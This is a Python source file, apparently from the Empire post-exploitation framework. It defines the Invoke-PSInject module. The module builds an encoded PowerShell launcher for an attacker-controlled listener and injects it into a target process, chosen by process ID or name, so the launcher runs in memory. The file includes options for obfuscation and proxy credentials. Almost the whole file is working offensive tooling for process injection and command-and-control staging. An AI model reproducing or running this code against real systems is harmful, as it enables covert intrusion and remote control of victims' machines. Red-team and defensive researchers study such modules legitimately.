Empire/lib/modules/powershell/management/psinject.py

139 lines
5.1 KiB
Python

from lib.common import helpers
import base64
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-PSInject',
'Author': ['@harmj0y', '@sixdub', 'leechristensen (@tifkin_)'],
'Description': ("Utilizes Powershell to to inject a Stephen Fewer "
"formed ReflectivePick which executes PS code"
"from memory in a remote process"),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://sixdub.net'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'ProcId' : {
'Description' : 'ProcessID to inject into.',
'Required' : False,
'Value' : ''
},
'ProcName' : {
'Description' : 'Process name to inject into.',
'Required' : False,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
listenerName = self.options['Listener']['Value']
procID = self.options['ProcId']['Value'].strip()
procName = self.options['ProcName']['Value'].strip()
if procID == '' and procName == '':
print helpers.color("[!] Either ProcID or ProcName must be specified.")
return ''
# staging options
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-PSInject.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = ""
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: %s" %(listenerName))
return ''
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == '':
print helpers.color('[!] Error in launcher generation.')
return ''
else:
launcherCode = launcher.split(' ')[-1]
if procID != '':
scriptEnd += "Invoke-PSInject -ProcID %s -PoshCode %s" % (procID, launcherCode)
else:
scriptEnd += "Invoke-PSInject -ProcName %s -PoshCode %s" % (procName, launcherCode)
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script